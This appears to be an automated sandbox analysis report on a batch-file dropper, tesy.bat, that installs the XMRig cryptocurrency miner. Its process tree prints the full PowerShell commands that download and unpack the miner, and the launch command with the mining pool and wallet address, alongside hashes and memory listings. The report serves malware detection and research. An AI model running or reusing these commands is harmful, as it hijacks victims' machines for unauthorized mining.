Analysis

  • max time kernel
    1797s
  • max time network
    1802s
  • platform
    windows10-1703_x64
  • resource
    win10-20231215-en
  • resource tags

    arch:x64arch:x86image:win10-20231215-enlocale:en-usos:windows10-1703-x64system
  • submitted
    26/12/2023, 06:44

General

  • Target

    tesy.bat

  • Size

    608B

  • MD5

    727c8da0478af118c957ae60f7161cab

  • SHA1

    cf18105b8659e93bbd2824fa35ef1bae7b395301

  • SHA256

    97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab

  • SHA512

    d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

  • XMRig Miner payload 64 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:332
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1524
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2232
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
      xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:4892

Network

        MITRE ATT&CK Matrix

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

          Filesize

          3KB

          MD5

          56efdb5a0f10b5eece165de4f8c9d799

          SHA1

          fa5de7ca343b018c3bfeab692545eb544c244e16

          SHA256

          6c4e3fefc4faa1876a72c0964373c5fa08d3ab074eec7b1313b3e8410b9cb108

          SHA512

          91e50779bbae7013c492ea48211d6b181175bfed38bf4b451925d5812e887c555528502316bbd4c4ab1f21693d77b700c44786429f88f60f7d92f21e46ea5ddc

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

          Filesize

          1KB

          MD5

          54bb7e9f180f1556ef70767062d07378

          SHA1

          b3edc3ea4115401495c5063e6353b31dc2e4f222

          SHA256

          fa5b0c302533aae9faef91ca8d29ec104a3141b9d3f160a1e72f93f497f4631c

          SHA512

          dadd61c74fe45c138f896bf34135101198df386bd45edeb3e224f2acea40ba343f3fa70079c40614c0629de4a038d42b1dc28c8c5715b6899b220846ef931362

        • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_n1ynhoga.aot.ps1

          Filesize

          1B

          MD5

          c4ca4238a0b923820dcc509a6f75849b

          SHA1

          356a192b7913b04c54574d18c28d46e6395428ab

          SHA256

          6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

          SHA512

          4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

        • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0-gcc-win64.zip

          Filesize

          148KB

          MD5

          0ae7cfea77d1c577333d92291985c25d

          SHA1

          1032e55a959082578ac58233ab6e06973daa98c5

          SHA256

          1bb20f68d0ff16c99f5bb68943599feecbbde0c4e13c08f0fc3ff15e90b481d5

          SHA512

          1505fd0b6efc0775a76e493476de781fd7b1b53c2957f0d30f9f72a92c52847b17f18700e41a7a72d360bc2d6029048dc26104ac8670b7acb9905a0e6086e084

        • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe

          Filesize

          238KB

          MD5

          ed84c78a19e7a5f2edc34ae5f2ec4e4f

          SHA1

          337a2bce772a2a47c1bc7a3666adc85634632e4b

          SHA256

          2ed1ec7768274aeb8a1b337e46627af0e54510f72e64b85ed3700af8d11dc998

          SHA512

          95a8bd72c1908451ffcb6a3793124ef07567c3ad437e1702e3eb2f5ab153df8372935b2e06e89c92b78ed139db2ef95b6fd1b97b3c2d308886d6b5d569a501c8

        • memory/1524-29-0x000002AD65E40000-0x000002AD65E50000-memory.dmp

          Filesize

          64KB

        • memory/1524-8-0x00007FFD28050000-0x00007FFD28A3C000-memory.dmp

          Filesize

          9.9MB

        • memory/1524-26-0x00007FFD28050000-0x00007FFD28A3C000-memory.dmp

          Filesize

          9.9MB

        • memory/1524-27-0x000002AD65E40000-0x000002AD65E50000-memory.dmp

          Filesize

          64KB

        • memory/1524-28-0x000002AD65E40000-0x000002AD65E50000-memory.dmp

          Filesize

          64KB

        • memory/1524-18-0x000002AD65E40000-0x000002AD65E50000-memory.dmp

          Filesize

          64KB

        • memory/1524-34-0x00007FFD28050000-0x00007FFD28A3C000-memory.dmp

          Filesize

          9.9MB

        • memory/1524-9-0x000002AD65E40000-0x000002AD65E50000-memory.dmp

          Filesize

          64KB

        • memory/1524-4-0x000002AD7E160000-0x000002AD7E182000-memory.dmp

          Filesize

          136KB

        • memory/1524-25-0x000002AD65E40000-0x000002AD65E50000-memory.dmp

          Filesize

          64KB

        • memory/1524-7-0x000002AD7E310000-0x000002AD7E386000-memory.dmp

          Filesize

          472KB

        • memory/2232-41-0x00000121E75E0000-0x00000121E75F0000-memory.dmp

          Filesize

          64KB

        • memory/2232-66-0x00000121E75E0000-0x00000121E75F0000-memory.dmp

          Filesize

          64KB

        • memory/2232-80-0x0000012180150000-0x0000012180162000-memory.dmp

          Filesize

          72KB

        • memory/2232-93-0x0000012180140000-0x000001218014A000-memory.dmp

          Filesize

          40KB

        • memory/2232-43-0x00000121E75E0000-0x00000121E75F0000-memory.dmp

          Filesize

          64KB

        • memory/2232-117-0x00007FFD28050000-0x00007FFD28A3C000-memory.dmp

          Filesize

          9.9MB

        • memory/2232-40-0x00007FFD28050000-0x00007FFD28A3C000-memory.dmp

          Filesize

          9.9MB

        • memory/4892-143-0x00007FF632CC0000-0x00007FF6337C3000-memory.dmp

          Filesize

          11.0MB

        • memory/4892-155-0x00007FF632CC0000-0x00007FF6337C3000-memory.dmp

          Filesize

          11.0MB

        • memory/4892-122-0x000001A523A50000-0x000001A523A90000-memory.dmp

          Filesize

          256KB

        • memory/4892-123-0x00007FF632CC0000-0x00007FF6337C3000-memory.dmp

          Filesize

          11.0MB

        • memory/4892-124-0x000001A523A90000-0x000001A523AB0000-memory.dmp

          Filesize

          128KB

        • memory/4892-125-0x000001A523AB0000-0x000001A523AD0000-memory.dmp

          Filesize

          128KB

        • memory/4892-126-0x00007FF632CC0000-0x00007FF6337C3000-memory.dmp

          Filesize

          11.0MB

        • memory/4892-127-0x00007FF632CC0000-0x00007FF6337C3000-memory.dmp

          Filesize

          11.0MB

        • memory/4892-128-0x000001A523A90000-0x000001A523AB0000-memory.dmp

          Filesize

          128KB

        • memory/4892-129-0x000001A523AB0000-0x000001A523AD0000-memory.dmp

          Filesize

          128KB

        • memory/4892-130-0x00007FF632CC0000-0x00007FF6337C3000-memory.dmp

          Filesize

          11.0MB

        • memory/4892-131-0x00007FF632CC0000-0x00007FF6337C3000-memory.dmp

          Filesize

          11.0MB

        • memory/4892-132-0x00007FF632CC0000-0x00007FF6337C3000-memory.dmp

          Filesize

          11.0MB

        • memory/4892-133-0x00007FF632CC0000-0x00007FF6337C3000-memory.dmp

          Filesize

          11.0MB

        • memory/4892-134-0x00007FF632CC0000-0x00007FF6337C3000-memory.dmp

          Filesize

          11.0MB

        • memory/4892-135-0x00007FF632CC0000-0x00007FF6337C3000-memory.dmp

          Filesize

          11.0MB

        • memory/4892-136-0x00007FF632CC0000-0x00007FF6337C3000-memory.dmp

          Filesize

          11.0MB

        • memory/4892-137-0x00007FF632CC0000-0x00007FF6337C3000-memory.dmp

          Filesize

          11.0MB

        • memory/4892-138-0x00007FF632CC0000-0x00007FF6337C3000-memory.dmp

          Filesize

          11.0MB

        • memory/4892-139-0x00007FF632CC0000-0x00007FF6337C3000-memory.dmp

          Filesize

          11.0MB

        • memory/4892-140-0x00007FF632CC0000-0x00007FF6337C3000-memory.dmp

          Filesize

          11.0MB

        • memory/4892-141-0x00007FF632CC0000-0x00007FF6337C3000-memory.dmp

          Filesize

          11.0MB

        • memory/4892-142-0x00007FF632CC0000-0x00007FF6337C3000-memory.dmp

          Filesize

          11.0MB

        • memory/4892-120-0x000001A522250000-0x000001A522270000-memory.dmp

          Filesize

          128KB

        • memory/4892-144-0x00007FF632CC0000-0x00007FF6337C3000-memory.dmp

          Filesize

          11.0MB

        • memory/4892-145-0x00007FF632CC0000-0x00007FF6337C3000-memory.dmp

          Filesize

          11.0MB

        • memory/4892-146-0x00007FF632CC0000-0x00007FF6337C3000-memory.dmp

          Filesize

          11.0MB

        • memory/4892-147-0x00007FF632CC0000-0x00007FF6337C3000-memory.dmp

          Filesize

          11.0MB

        • memory/4892-148-0x00007FF632CC0000-0x00007FF6337C3000-memory.dmp

          Filesize

          11.0MB

        • memory/4892-149-0x00007FF632CC0000-0x00007FF6337C3000-memory.dmp

          Filesize

          11.0MB

        • memory/4892-150-0x00007FF632CC0000-0x00007FF6337C3000-memory.dmp

          Filesize

          11.0MB

        • memory/4892-151-0x00007FF632CC0000-0x00007FF6337C3000-memory.dmp

          Filesize

          11.0MB

        • memory/4892-152-0x00007FF632CC0000-0x00007FF6337C3000-memory.dmp

          Filesize

          11.0MB

        • memory/4892-153-0x00007FF632CC0000-0x00007FF6337C3000-memory.dmp

          Filesize

          11.0MB

        • memory/4892-154-0x00007FF632CC0000-0x00007FF6337C3000-memory.dmp

          Filesize

          11.0MB

        • memory/4892-121-0x00007FF632CC0000-0x00007FF6337C3000-memory.dmp

          Filesize

          11.0MB

        • memory/4892-156-0x00007FF632CC0000-0x00007FF6337C3000-memory.dmp

          Filesize

          11.0MB

        • memory/4892-157-0x00007FF632CC0000-0x00007FF6337C3000-memory.dmp

          Filesize

          11.0MB

        • memory/4892-158-0x00007FF632CC0000-0x00007FF6337C3000-memory.dmp

          Filesize

          11.0MB

        • memory/4892-159-0x00007FF632CC0000-0x00007FF6337C3000-memory.dmp

          Filesize

          11.0MB

        • memory/4892-160-0x00007FF632CC0000-0x00007FF6337C3000-memory.dmp

          Filesize

          11.0MB

        • memory/4892-161-0x00007FF632CC0000-0x00007FF6337C3000-memory.dmp

          Filesize

          11.0MB

        • memory/4892-162-0x00007FF632CC0000-0x00007FF6337C3000-memory.dmp

          Filesize

          11.0MB

        • memory/4892-163-0x00007FF632CC0000-0x00007FF6337C3000-memory.dmp

          Filesize

          11.0MB

        • memory/4892-164-0x00007FF632CC0000-0x00007FF6337C3000-memory.dmp

          Filesize

          11.0MB

        • memory/4892-165-0x00007FF632CC0000-0x00007FF6337C3000-memory.dmp

          Filesize

          11.0MB

        • memory/4892-166-0x00007FF632CC0000-0x00007FF6337C3000-memory.dmp

          Filesize

          11.0MB

        • memory/4892-167-0x00007FF632CC0000-0x00007FF6337C3000-memory.dmp

          Filesize

          11.0MB

        • memory/4892-168-0x00007FF632CC0000-0x00007FF6337C3000-memory.dmp

          Filesize

          11.0MB

        • memory/4892-169-0x00007FF632CC0000-0x00007FF6337C3000-memory.dmp

          Filesize

          11.0MB

        • memory/4892-170-0x00007FF632CC0000-0x00007FF6337C3000-memory.dmp

          Filesize

          11.0MB

        • memory/4892-171-0x00007FF632CC0000-0x00007FF6337C3000-memory.dmp

          Filesize

          11.0MB

        • memory/4892-172-0x00007FF632CC0000-0x00007FF6337C3000-memory.dmp

          Filesize

          11.0MB

        • memory/4892-173-0x00007FF632CC0000-0x00007FF6337C3000-memory.dmp

          Filesize

          11.0MB

        • memory/4892-174-0x00007FF632CC0000-0x00007FF6337C3000-memory.dmp

          Filesize

          11.0MB

        • memory/4892-175-0x00007FF632CC0000-0x00007FF6337C3000-memory.dmp

          Filesize

          11.0MB

        • memory/4892-176-0x00007FF632CC0000-0x00007FF6337C3000-memory.dmp

          Filesize

          11.0MB

        • memory/4892-177-0x00007FF632CC0000-0x00007FF6337C3000-memory.dmp

          Filesize

          11.0MB

        • memory/4892-178-0x00007FF632CC0000-0x00007FF6337C3000-memory.dmp

          Filesize

          11.0MB

        • memory/4892-179-0x00007FF632CC0000-0x00007FF6337C3000-memory.dmp

          Filesize

          11.0MB

        • memory/4892-180-0x00007FF632CC0000-0x00007FF6337C3000-memory.dmp

          Filesize

          11.0MB

        • memory/4892-181-0x00007FF632CC0000-0x00007FF6337C3000-memory.dmp

          Filesize

          11.0MB

        • memory/4892-182-0x00007FF632CC0000-0x00007FF6337C3000-memory.dmp

          Filesize

          11.0MB

        • memory/4892-183-0x00007FF632CC0000-0x00007FF6337C3000-memory.dmp

          Filesize

          11.0MB

        • memory/4892-184-0x00007FF632CC0000-0x00007FF6337C3000-memory.dmp

          Filesize

          11.0MB

        • memory/4892-185-0x00007FF632CC0000-0x00007FF6337C3000-memory.dmp

          Filesize

          11.0MB

        • memory/4892-186-0x00007FF632CC0000-0x00007FF6337C3000-memory.dmp

          Filesize

          11.0MB

        • memory/4892-187-0x00007FF632CC0000-0x00007FF6337C3000-memory.dmp

          Filesize

          11.0MB

        • memory/4892-188-0x00007FF632CC0000-0x00007FF6337C3000-memory.dmp

          Filesize

          11.0MB